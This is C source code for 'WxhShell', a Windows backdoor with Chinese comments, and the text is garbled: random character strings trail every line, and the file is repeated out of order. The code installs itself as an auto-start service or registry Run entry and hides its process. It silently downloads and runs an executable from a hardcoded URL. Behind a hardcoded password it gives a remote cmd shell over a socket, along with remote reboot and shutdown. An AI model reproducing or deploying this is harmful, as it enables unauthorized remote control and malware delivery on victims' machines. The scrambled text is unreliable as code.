    if(Boot(SHUTDOWN)) @~0kSA7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9"g=it2Rh6  
    else { ,vEwck#  
    closesocket(wsh); .7TQae%  
    ExitThread(0); > $0eRVL  
    } "ZDc$v:Qa  
    break; N.OC _H&  
    } wkK61a h6  
  // 获取shell 0[@ 9f1Nk4  
  case 's': { c#M 'Mye  
    CmdShell(wsh); (.,`<rXw  
    closesocket(wsh); ps1ndGp~#  
    ExitThread(0); B5>h@p-UV  
    break; beFVjVVHq  
  } rr fL [  
  // 退出 U7d%*g  
  case 'x': { |e@9YDZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J&w%lYiu5  
    CloseIt(wsh); K^bzZa+a  
    break; 8Czy<}S<G  
    } ;hi+.ng_  
  // 离开 #/zPAcV:  
  case 'q': { DQM\Y{y|3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d:C-   
    closesocket(wsh); <:)T7yVq  
    WSACleanup(); S 8mqz.  
    exit(1); /Fej)WQp  
    break; @EH:4~  
        } @^oOXc,r$  
  } l$D]*_ jc,  
  } u1a5Vtel  
t6&6kl  
  // 提示信息 6Clxe Lk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 57e'a&}e  
} uj|{TV>v9  
  } !={Z]J  
;o]'7qGb  
  return; 09<O b[%h  
} 8MgoAX,p  
+HNY!fv9  
// shell模块句柄 !0:uM)_k  
int CmdShell(SOCKET sock) tL(B gku9  
{ ,:UoE  
STARTUPINFO si; Z-;<R$  
ZeroMemory(&si,sizeof(si)); <@xp. Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;}{xpJ/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vR<Y1<j  
PROCESS_INFORMATION ProcessInfo; I`kaAOe  
char cmdline[]="cmd"; Bsi HVr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xk%92Pto  
  return 0; g#qt<d}j  
} @ROMHMd}  
@0A7d $J(  
// 自身启动模式 @mBZu!,  
int StartFromService(void) N*w/\|  
{ Cw]& B  
typedef struct {LfVV5?  
{ 4VINu9\V  
  DWORD ExitStatus; mw)KyU#l,:  
  DWORD PebBaseAddress; F2!C^r,~L  
  DWORD AffinityMask; !K^.r_0H.  
  DWORD BasePriority; v 0mc1g+9  
  ULONG UniqueProcessId; &3l g\&"  
  ULONG InheritedFromUniqueProcessId; _2+}_ >d  
}   PROCESS_BASIC_INFORMATION; |r5 np  
$A\fm`  
PROCNTQSIP NtQueryInformationProcess; /,dcr*  
x'_I{$C &  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %[0V>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |SC^H56+  
VE5w!of  
  HANDLE             hProcess; KCd}N  
  PROCESS_BASIC_INFORMATION pbi; %cMX]U  
rlr)n\R#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :&ir5xHS  
  if(NULL == hInst ) return 0; <4S Y'-w  
IMLk{y%6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O\;Z4qn2=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d;O16xcM/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GlYNC&,VL  
-C]RFlV  
  if (!NtQueryInformationProcess) return 0; PPO*&=!]  
ogQY"c8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ei)ljvvmHP  
  if(!hProcess) return 0; D+?/MrP  
4eTfb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s>(OK.o  
}eh<F^  
  CloseHandle(hProcess); 7K3S\oPej  
'"&M4.J{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qeLfO  
if(hProcess==NULL) return 0; x!GHUz*:uz  
(hej 3;W  
HMODULE hMod; r'xZF~}k"~  
char procName[255]; QP f*!E  
unsigned long cbNeeded; k4jZu?\C]  
Wr H7tz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  4b]/2H  
\U $'3M  
  CloseHandle(hProcess); p2 u*{k{  
9}4P%>_  
if(strstr(procName,"services")) return 1; // 以服务启动 /NfuR$oMd  
Qa@b-v'by  
  return 0; // 注册表启动 /.r|ron:e  
} |kJ'FZZd  
=W'a6)WE  
// 主模块 %PozxF:  
int StartWxhshell(LPSTR lpCmdLine) N>##} i  
{ i"mN0%   
  SOCKET wsl; i[1K~yXq:  
BOOL val=TRUE; QcJ?1GwA"  
  int port=0; =.`(KXT  
  struct sockaddr_in door; .lnyn|MVb  
S]&f+g}&w  
  if(wscfg.ws_autoins) Install();  SyFw  
y J*`OU#  
port=atoi(lpCmdLine); 21'I-j  
tE3#Uq  
if(port<=0) port=wscfg.ws_port; [.Vy  
Z5 iP1/&D  
  WSADATA data; |O3wAxc3W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9jq}`$S{  
 tKOTQ8i4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R:c$f(aKv%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &R+/Ie#0dz  
  door.sin_family = AF_INET; @9_H4V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .4E5{F{~  
  door.sin_port = htons(port); ZDEz&{3U;  
B1)gudP`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kt?G\H!}  
closesocket(wsl); n{sF'n</  
return 1; SQ%B"1&$D  
} ,aOi:aaZRT  
j"6r]nc&  
  if(listen(wsl,2) == INVALID_SOCKET) { o %GVg  
closesocket(wsl); 8,iBG! RF  
return 1; IzVb  
} lz2B,#  
  Wxhshell(wsl); 3z7SK Gy  
  WSACleanup(); nvY3$ Ty  
Tbf't^Ot$  
return 0; Y,BzBUWK  
"B`k  
} o 4G%m>$  
_9yb5_  
// 以NT服务方式启动 +KV?W+g)`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >g7}JI&  
{ cmG*"  
DWORD   status = 0; .Z%y16)T  
  DWORD   specificError = 0xfffffff; eC`} oEz  
|f5WN&c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 32h}+fd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1 ; _tu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %N5gQXg  
  serviceStatus.dwWin32ExitCode     = 0; :/YHU3~Y  
  serviceStatus.dwServiceSpecificExitCode = 0; *_feD+rq  
  serviceStatus.dwCheckPoint       = 0; o/0cd  
  serviceStatus.dwWaitHint       = 0; iF]G$@rbU  
We%HdTKT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qTc-Z5  
  if (hServiceStatusHandle==0) return; 9C&Xs nk  
I`hltJM'  
status = GetLastError(); 38ac~1HjE  
  if (status!=NO_ERROR) Gy}WZ9{  
{ }!_x\eq^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Jr|"QRC  
    serviceStatus.dwCheckPoint       = 0; r'bctFsD  
    serviceStatus.dwWaitHint       = 0; 0 D^d-R,  
    serviceStatus.dwWin32ExitCode     = status; fny|^F]w  
    serviceStatus.dwServiceSpecificExitCode = specificError; BK>3rjXi>a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {jz?LM  
    return; O^|:q  
  } D{'>G@nLQ  
eCejO59F9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Cj{+DXT  
  serviceStatus.dwCheckPoint       = 0; p;8I@~dh  
  serviceStatus.dwWaitHint       = 0; d^uE4F}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,Dh+-}  
} {Hc [H-  
\Af25Mcf:  
// 处理NT服务事件,比如:启动、停止 RRSkXDU}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W5 l)mAv  
{ iczJXA+  
switch(fdwControl) vNdMPulr{  
{ <'(O0  
case SERVICE_CONTROL_STOP: 5e)2Jt:  
  serviceStatus.dwWin32ExitCode = 0; ;B Lw?kf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GSlvT:k  
  serviceStatus.dwCheckPoint   = 0; [=3f:>ssm  
  serviceStatus.dwWaitHint     = 0; /hrVnki*  
  { *[XVkt`H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _#f+@)vR  
  } #B_Em$  
  return; 8 ckcTNPu  
case SERVICE_CONTROL_PAUSE: _6U=7<f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vP k\b 3E  
  break; Pv-El+e!  
case SERVICE_CONTROL_CONTINUE: [\i0@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H]]UsY`  
  break; ~HW8mly'  
case SERVICE_CONTROL_INTERROGATE: dP[vXhc  
  break; ,[gu7z^|  
}; %IAZU c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?HD eiJ kX  
} !u)>XS^E  
W~" 'a9H/  
// 标准应用程序主函数 gteG*pi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8]G  
{ U2hPsF4f  
!V%h0OE\  
// 获取操作系统版本 whH_<@!  
OsIsNt=GetOsVer(); JXT%@w>I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tccw0  
V1yY>  
  // 从命令行安装 " pZvV0'  
  if(strpbrk(lpCmdLine,"iI")) Install(); >JSk/]"  
NY(z 3G  
  // 下载执行文件 5Q/&,NP  
if(wscfg.ws_downexe) { !UzMuGj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8%+F.r  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3bWYRW  
} B|fh 4FNy  
j<*  
if(!OsIsNt) { c@|!0 U%j  
// 如果时win9x,隐藏进程并且设置为注册表启动 O {hM  
HideProc(); !sTOo  
StartWxhshell(lpCmdLine); W't?aj I|  
} K^z u{`S  
else i>*|k]  
  if(StartFromService()) wSV}{9}wr%  
  // 以服务方式启动 /JcfAY  
  StartServiceCtrlDispatcher(DispatchTable); ~8oti4  
else 8D H~~by  
  // 普通方式启动 Sa8KCWgWh  
  StartWxhshell(lpCmdLine); U{`Q_Uw@$:  
7%MD0qm-  
return 0; e7O9q8b  
} MbT;]Bo  
p1BMQ?=($  
MBIlt 1P  
tfAO#htq  
=========================================== LMGo8%2I  
Q<c{$o  
SlaHhq3  
pYRqV  
og?>Q i Tr  
-22]|$f  
" eb#yCDIC   
L2 ybL#dz  
#include <stdio.h> nO\c4#ce  
#include <string.h> 6x.ZS'y  
#include <windows.h> D4G*Wz8  
#include <winsock2.h> hx.ln6=4  
#include <winsvc.h> `GpOS_;  
#include <urlmon.h> On`T pz/  
1(YEOZ  
#pragma comment (lib, "Ws2_32.lib") hvFXYq_[O  
#pragma comment (lib, "urlmon.lib") ?'8(']/  
JmP[9"  
#define MAX_USER   100 // 最大客户端连接数 7u=R5  
#define BUF_SOCK   200 // sock buffer 7{BTtUMAC  
#define KEY_BUFF   255 // 输入 buffer &^7^7:Y=?  
Yk^clCB{A(  
#define REBOOT     0   // 重启 prdc}~J8{  
#define SHUTDOWN   1   // 关机 RV_(T+  
%U uVD  
#define DEF_PORT   5000 // 监听端口 $bCN;yE  
f, iHM  
#define REG_LEN     16   // 注册表键长度 5R%4fzr&g  
#define SVC_LEN     80   // NT服务名长度 A &tMj?  
G u4mP  
// 从dll定义API n OQvBc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m>:zwz< ;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SDbR(oV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ovhd%qV;Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]ZI ?U<0  
E9bc pup  
// wxhshell配置信息 e[($rsx  
struct WSCFG { AE@N:a  
  int ws_port;         // 监听端口 ll^#I/  
  char ws_passstr[REG_LEN]; // 口令 6rll0c~  
  int ws_autoins;       // 安装标记, 1=yes 0=no />dH\KvN  
  char ws_regname[REG_LEN]; // 注册表键名 u}0U!  
  char ws_svcname[REG_LEN]; // 服务名 |y%M";MI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [-p?gyl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z(|'zAb^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3 q^^Os  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X+%5q =N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s[n*fV']A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1w$X;q"  
#*tWhXU  
}; {aoG60N  
6>d0i S@R  
// default Wxhshell configuration Hs#q 7  
struct WSCFG wscfg={DEF_PORT, W1\F-:4L@  
    "xuhuanlingzhe", Ve9*>6i&-4  
    1, \s@7pM=(  
    "Wxhshell", 84f~.45  
    "Wxhshell", 0_f6Qrcj  
            "WxhShell Service",  N3m~nEj  
    "Wrsky Windows CmdShell Service", "Nh}_jO  
    "Please Input Your Password: ", j&|>Aa${  
  1, '2:HBJ  
  "http://www.wrsky.com/wxhshell.exe", (Wu J9  
  "Wxhshell.exe" EG#mNpxE  
    }; *%aWGAu:  
Z[GeU>?P  
// 消息定义模块 5<77o|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KM9)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $gPR3*0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gNaB^IY  
char *msg_ws_ext="\n\rExit."; 8r\;8all  
char *msg_ws_end="\n\rQuit."; Y7GHIzX  
char *msg_ws_boot="\n\rReboot..."; @\?QZX(H  
char *msg_ws_poff="\n\rShutdown..."; "~,3gNTzV  
char *msg_ws_down="\n\rSave to "; %SC%#_7  
1$RUhxT  
char *msg_ws_err="\n\rErr!"; ;8iK];^  
char *msg_ws_ok="\n\rOK!"; f2]O5rX p  
TD^w|U.  
char ExeFile[MAX_PATH]; !WgVk7aP`  
int nUser = 0; C#oH7o+_.  
HANDLE handles[MAX_USER]; [eLU}4v{  
int OsIsNt; Z` zyE P A  
2 e9lk$  
SERVICE_STATUS       serviceStatus; ,@Aeo9}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d#cEAy  
Z~6PrM-M  
// 函数声明 O!ngQrI  
int Install(void); S7kZpD $  
int Uninstall(void); ;0JK>c ]#  
int DownloadFile(char *sURL, SOCKET wsh); e"^n^_9  
int Boot(int flag); `&/~%>  
void HideProc(void); Z9p`78kYyh  
int GetOsVer(void); *Hed^[sO  
int Wxhshell(SOCKET wsl); ( SiwO.TZ  
void TalkWithClient(void *cs); 4<<T#oW.:G  
int CmdShell(SOCKET sock); ;vp[J&=  
int StartFromService(void); q'CtfmI`r=  
int StartWxhshell(LPSTR lpCmdLine); yr[HuwU  
3aERfIJyE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C|g]Y 7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Jj'dg6QY'  
jr3FDd]  
// 数据结构和表定义 b75en{aDi*  
SERVICE_TABLE_ENTRY DispatchTable[] = D"ecwx{%;C  
{ @mm~i~~KA  
{wscfg.ws_svcname, NTServiceMain}, :&\^r=D  
{NULL, NULL} iT,Ya-9"  
}; =&x u"V  
met`f0jw  
// 自我安装 Y<)9TU:D!  
int Install(void) ~0T,_N  
{ $(N+E,XB  
  char svExeFile[MAX_PATH]; wdLlQD  
  HKEY key; cIB[D.  
  strcpy(svExeFile,ExeFile); -esq]c%3  
Y8@TY?  
// 如果是win9x系统,修改注册表设为自启动 gK",D^6T*Y  
if(!OsIsNt) { f@aFs]xV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h$_5)d~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6$ x9@x8  
  RegCloseKey(key); 5$<Ozkj(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g?> V4WF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T@gm0igW/;  
  RegCloseKey(key); Q)%a2s;  
  return 0; |N+uEiJ  
    } 35 3*D%8  
  } _2wH4^Vb  
} Cw,;>>Y_b<  
else { .NRSBk  
nv}z%.rRUj  
// 如果是NT以上系统,安装为系统服务 +H6cZ,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $I4:g.gKpG  
if (schSCManager!=0) Og/@w&  
{ mj|TWDcj+  
  SC_HANDLE schService = CreateService <}n"gk1is  
  ( %P HYJc  
  schSCManager, %?i~`0-:n%  
  wscfg.ws_svcname, BU=;rz!;  
  wscfg.ws_svcdisp, h$2lO^  
  SERVICE_ALL_ACCESS, *sYvV,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]Z=O+7(r  
  SERVICE_AUTO_START, ! ~3zp L  
  SERVICE_ERROR_NORMAL, "S^ ""5  
  svExeFile, V 2/?1  
  NULL,  K>S:Z  
  NULL, Rw]lW;EN<  
  NULL, A#x_>fV  
  NULL, 6< @F  
  NULL MwO`DrV  
  ); zwJK|Sk  
  if (schService!=0) NsUP0B}.  
  { Uk<2XGj  
  CloseServiceHandle(schService);  ;)ji3M  
  CloseServiceHandle(schSCManager); DWmViuZmL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "C'T>^qw*  
  strcat(svExeFile,wscfg.ws_svcname); u3])_oj=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~=i<O&nai  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a~Nh6 x  
  RegCloseKey(key); ~xakz BE  
  return 0; 1b`WzoJgH  
    } L2`a| T=  
  } 7>!Rg~M  
  CloseServiceHandle(schSCManager); l2 mO{'|C  
} dH_g:ocA  
} 3}gf %U]L  
vq-# %o  
return 1; CCp&+LRvR  
} ql2O%B.6?  
*Fu;sR2y%:  
// 自我卸载 la{Iqm{i  
int Uninstall(void) GPLq$^AH  
{ >A ?{cbJ  
  HKEY key; &N:`Rler  
NhF<2[mt  
if(!OsIsNt) { {/}p"(^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~LSD\+  
  RegDeleteValue(key,wscfg.ws_regname); iiD }2y b  
  RegCloseKey(key); ZxU3)`O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~%d*#Yxq  
  RegDeleteValue(key,wscfg.ws_regname); rLx'.:  
  RegCloseKey(key); EU4j'1!&g<  
  return 0; g ^4<ve  
  } e%EE|  
} Ot([5/K  
} *wu|(t_ A  
else { =5u;\b>*  
I_3{i`g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z\r29IRh  
if (schSCManager!=0) Yu_` >so  
{ rO7[{<97m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i8i~b8r]  
  if (schService!=0) O~&j}WN  
  { _ Y8j l,J  
  if(DeleteService(schService)!=0) { J*m ~fZ^  
  CloseServiceHandle(schService); 8c5%~}kG  
  CloseServiceHandle(schSCManager); 2'5u}G9  
  return 0; /Q\|u:oO,  
  } z,IUCNgM  
  CloseServiceHandle(schService); H:!pFj  
  } DxJY{e9  
  CloseServiceHandle(schSCManager); 0p[-M`D  
} 4)+L(KyB2  
} .y^T 3?}I  
9KDm<Q-mf  
return 1; ;k5B@z/<S  
} %hV]vm  
YJMaIFt  
// 从指定url下载文件 R(W}..U0R"  
int DownloadFile(char *sURL, SOCKET wsh) -,^Z5N#\|  
{ $@@@</VbP  
  HRESULT hr; -cL wjI  
char seps[]= "/"; L2{b~`UvP  
char *token; <g'0q*qE  
char *file; x{I, gu|+  
char myURL[MAX_PATH]; ZZJ<JdD  
char myFILE[MAX_PATH]; .kZ<Q]Vk  
=}m'qy  
strcpy(myURL,sURL); Ah Rvyj  
  token=strtok(myURL,seps); >@?`n}r|  
  while(token!=NULL) B'!I{LC  
  { gib'f@i;  
    file=token; S/)yi  
  token=strtok(NULL,seps); = sh3&8  
  } 1}"Prx-  
4StoEgFS  
GetCurrentDirectory(MAX_PATH,myFILE); meArS*d  
strcat(myFILE, "\\"); $i"IOp  
strcat(myFILE, file); 5 ]l8l+  
  send(wsh,myFILE,strlen(myFILE),0); ,B,:$G<  
send(wsh,"...",3,0); W'L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (%SKTM  
  if(hr==S_OK) 4v;KtD;M  
return 0; VX]Ud\(  
else B(,j*,f  
return 1; RLR\*dL1  
!T RU  
} y[d>7fcf  
KkyZd9  
// 系统电源模块 'QQa :3<x  
int Boot(int flag) WWN2  
{ $64sf?aZ>#  
  HANDLE hToken; ?d`j}  
  TOKEN_PRIVILEGES tkp; 8<PQ31  
HL~DIC%  
  if(OsIsNt) { eoxEnCU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0i~?^sT'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mG.H=iw  
    tkp.PrivilegeCount = 1; 2*TPW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nZ8jBCh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]7J*(,sp  
if(flag==REBOOT) { /A1qTG=Br  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cd]def[d  
  return 0; A&L2&ofV&q  
} Wh^wKF~%  
else { X{tfF!+iy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kWbD?i-  
  return 0; )W |_f  
} M=#g_*d  
  } 3h**y %^  
  else { L&G5 kY`  
if(flag==REBOOT) { &{ZTtK&JF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sjG@4Or  
  return 0; L^e%oQ>s  
} k@^T<Ci  
else { Oz-@e%8L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DH!_UV  
  return 0; *  \%b1  
} Dn@Sjsj>  
} l,:> B-FV  
5~{s-Ms  
return 1; _NN5e|t  
} ]^I[SG,  
H' %#71  
// win9x进程隐藏模块 Lv7$@|"H9  
void HideProc(void) {)PgN  
{ "HtaJVp//  
Y;#H0v>E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wPxtQv  
  if ( hKernel != NULL ) y)mtSA8  
  { 9F2MCqvcm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1-}M5]Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T~)R,OA7m  
    FreeLibrary(hKernel); `@^s}rt+  
  } k FCdGl  
yQE9S+%M  
return; Y Sux#*#H  
} !XQ)>T^G5  
*&tv(+P  
// 获取操作系统版本 T4h&ly5 f  
int GetOsVer(void) oD=+  
{ lD6PKZ\RIj  
  OSVERSIONINFO winfo; mO&zE;/[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n7pjj  
  GetVersionEx(&winfo); ]:.9:RmEV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x\5v^$  
  return 1; pReSvF}}C  
  else M"5S  
  return 0; !NTt' 4/F{  
} PE<(eIr  
jPEOp#C  
// 客户端句柄模块 S^_F0</U,  
int Wxhshell(SOCKET wsl) @waY+sqt=  
{ S=qx,<J 39  
  SOCKET wsh; 2 >/}-a  
  struct sockaddr_in client; QSyPtjg]  
  DWORD myID; +u;RFY^  
PH>`//D%n?  
  while(nUser<MAX_USER) Qq3UC%Z1  
{ I\@`AU  
  int nSize=sizeof(client); #Q$+AdY|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =i>i,>bv  
  if(wsh==INVALID_SOCKET) return 1; gXe`G( w  
l(d3N4iz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #A=ER[[  
if(handles[nUser]==0) hE;BT>_dn  
  closesocket(wsh); G-5ezVli  
else `Hd~H  
  nUser++; $fG~;`T  
  } 4nKlW_{,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o "1X8v  
WT jy"p*  
  return 0; g[(Eh?]Sc  
} *Qy,?2  
aRcVoOq  
// 关闭 socket 0gH;y+\=*  
void CloseIt(SOCKET wsh) e@{Rlz   
{ Y?\PU{ O  
closesocket(wsh); Un Ocw  
nUser--; K[l5=)G0L  
ExitThread(0); MY l9 &8  
}  mT,#"k8  
t(p}0}Pp  
// 客户端请求句柄 V z-]H]MW,  
void TalkWithClient(void *cs) [}`-KpV!;  
{ Dr5AJ`y9A  
>\[|c  
  SOCKET wsh=(SOCKET)cs; PLRMW 2  
  char pwd[SVC_LEN]; }-~LXL%!3  
  char cmd[KEY_BUFF]; Rk!8eN Pf  
char chr[1]; vfdTGM`3  
int i,j; r b*;4a  
M=Y['w x  
  while (nUser < MAX_USER) { ?<1~KLPMhY  
Ch73=V  
if(wscfg.ws_passstr) { |jb,sd[=S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); remRm Y?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T+41,  
  //ZeroMemory(pwd,KEY_BUFF); $Z<x r  
      i=0; @@H?w7y?&  
  while(i<SVC_LEN) { ,&G !9}EC  
Lm*PHG  
  // 设置超时 \e~5Dx1  
  fd_set FdRead; WkDXWv\{,{  
  struct timeval TimeOut; W^)'rH  
  FD_ZERO(&FdRead); 6@FGt3y  
  FD_SET(wsh,&FdRead); Kiq[PK  
  TimeOut.tv_sec=8; z oZ10?ojC  
  TimeOut.tv_usec=0; wicW9^ik  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dZCnQIS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v (=E R%  
LvNulMEK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SLda>I(p7&  
  pwd=chr[0]; F$jfPy-f  
  if(chr[0]==0xd || chr[0]==0xa) { AA0\C_W0p  
  pwd=0; z@v2t>@3k  
  break;  VM<$!Aaz  
  } qO[_8's8  
  i++; vGwpDu\RgX  
    } +P<#6<gR  
8~AL+*hn  
  // 如果是非法用户,关闭 socket ! =*k+gpF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :M8y 2f h  
} {43 J'WsJ  
VcLzv{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \i3)/sZ?l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j+("4b'  
lr]C'dD  
while(1) { #wp~lW9!s9  
4@QR2K|  
  ZeroMemory(cmd,KEY_BUFF); <[?ZpG  
f([d/  
      // 自动支持客户端 telnet标准   vF)eo"_s*  
  j=0; avW33owb@  
  while(j<KEY_BUFF) { CI=M0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^.c<b_(=h  
  cmd[j]=chr[0]; *gOUpbtXa  
  if(chr[0]==0xa || chr[0]==0xd) { * 'Bu-1{  
  cmd[j]=0; i&j]FX6q  
  break; q^h/64F  
  } 7G%:ckg  
  j++; [DvQk?,t  
    } o8~<t]Ejw  
$E}N`B7  
  // 下载文件 \LM.>vJ  
  if(strstr(cmd,"http://")) { >L433qR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~.CmiG.7  
  if(DownloadFile(cmd,wsh)) N v6=[_D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qWD(rq+9  
  else M2I*_pI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +v< \l=  
  } B_* Ayk  
  else { OoQLR  
~ 1~|/WG  
    switch(cmd[0]) { %DM0Z8P$B-  
  Z9eP(ip  
  // 帮助 1Cw HGO  
